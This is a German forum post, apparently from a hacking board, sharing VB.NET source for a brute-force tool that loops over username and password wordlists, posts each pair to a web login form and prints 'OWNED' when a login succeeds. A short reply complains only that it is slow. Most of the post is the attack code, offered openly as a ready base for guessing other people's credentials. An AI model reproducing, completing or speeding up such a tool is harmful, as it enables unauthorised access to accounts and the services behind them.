[Source] Bruteforce

[exception]

Hallo,
hier habt ihr das Grundgerüst für einen Bruter.

Imports System.IO
Imports System.Net
Imports System.Text.Encoding
Imports System.Collections.Specialized

        //Ein paar Deklarationen
        Dim client As New WebClient
        Dim col As New NameValueCollection
        Dim url As String = ""
        Dim response As String = String.Empty

        //Textfiles einlesen
        Dim userlist() As String = File.ReadAllLines("")
        Dim passlist() As String = File.ReadAllLines("")

        For Each user In userlist
            For Each pass In passlist
                //Name+Wert der Felder im HTML-Formular hinzufügen
                col.Add("", user)
                col.Add("", pass)

                Try
                    //Daten uploaden
                    response = ASCII.GetString(client.UploadValues(url, "POST",col))
                Catch ex As Exception
                    Console.WriteLine(ex.Message)
                End Try

                 //Quelltext nach Ergebnis durchsuchen
                If response.Contains("Erfolgreich eingeloggt") Then
                    Console.WriteLine(user & ":" & pass & " - OWNED")
                    Exit For
                ElseIf response.Contains("Falsches Passwort") Then
                    Console.WriteLine(user & ":" & pass & " - WRONG PW")
                ElseIf response.Contains("...") Then
                    Console.WriteLine(user & ":" & pass & " - ...")
                End If

            Next
        Next 

Wie gesagt, dass ist nur der "Grundcode".


MfG

[annina17]

Okay,
das Grundgerüst ist da, allerdings in der Praxis nicht sehr relevant da es nicht sehr performant ist, wenn nicht sogar langsam da es nur in einem Thread läuft.